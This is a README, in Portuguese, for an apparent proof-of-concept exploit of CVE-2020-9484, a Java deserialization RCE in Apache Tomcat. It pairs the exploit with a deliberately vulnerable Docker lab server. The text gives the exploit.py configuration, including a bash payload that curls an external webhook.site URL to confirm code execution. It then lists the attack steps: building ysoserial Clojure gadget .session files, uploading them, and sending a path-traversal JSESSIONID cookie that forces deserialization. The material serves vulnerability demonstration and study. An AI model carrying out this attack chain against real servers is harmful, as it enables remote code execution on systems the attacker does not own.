
Exploit PoC para CVE-2020-9484 e uma aplicação web vulnerável para sua demonstração
Este repositório contém um exploit de prova de conceito para o CVE-2020-9484, juntamente com um servidor web de exemplo que é vulnerável a este exploit.
As versões afetadas do Tomcat são:
PersistentManager está ativado e está usando um FileStore..session), e conhece o local onde ele é enviado.clojure ou commons-collections) que podem ser usados para um ataque de desserialização Java.O serviço de exemplo é um servidor web com duas páginas, /index.jsp (ou simplesmente /) e /list.jsp. Ele permite que o usuário envie e baixe arquivos (específicos da sessão atual), atuando efetivamente como armazenamento de arquivos.
/upload com suporte a upload de arquivos, e permite que o usuário escolha o nome do arquivo. Isso torna possível enviar arquivos com a extensão .session. Também é conhecido que o servidor armazena os arquivos no diretório /var/tmp/uploads.PersistentManager ativado usando um FileStore. (veja context.xml)clojure:1.8.0 no classpath, facilitando assim o ataque de desserialização. (veja pom.xml)Para configurar o serviço vulnerável de exemplo:
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
O serviço agora deve estar em execução em http://localhost:8085/POC_CVE-2020-9484/.
Agora ajuste as variáveis de configuração no início de exploit.py. O PAYLOAD, aqui um script shell, pode ser qualquer arquivo que possa ser executado pelo servidor.
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD = 'file' # as in the upload page's html form
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE = "Clojure" # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage
Agora execute exploit.py. Ele executa as seguintes ações:
.session), que eventualmente serão desserializados no servidor:
PAYLOAD enviado ao servidor.PAYLOAD no servidor.PAYLOAD como um arquivo para o servidor..session gerados acima para o servidor.JSESSIONID sendo o caminho dos arquivos .session enviados anteriormente, relativo ao armazenamento de sessão do servidor, desencadeando assim sua desserialização no servidor e subsequente execução do payload./path/to/uploads/base/directory/<valor do cookie JSESSIONID>/uploads/filename. Nesse caso, usar um JSESSIONID da forma ../../../../tmp (em vez de um valor arbitrário como "1337"*8 usado em exploit.py acima) com a requisição POST de upload de arquivo pode potencialmente ser útil para determinar onde o arquivo enviado está armazenado no servidor.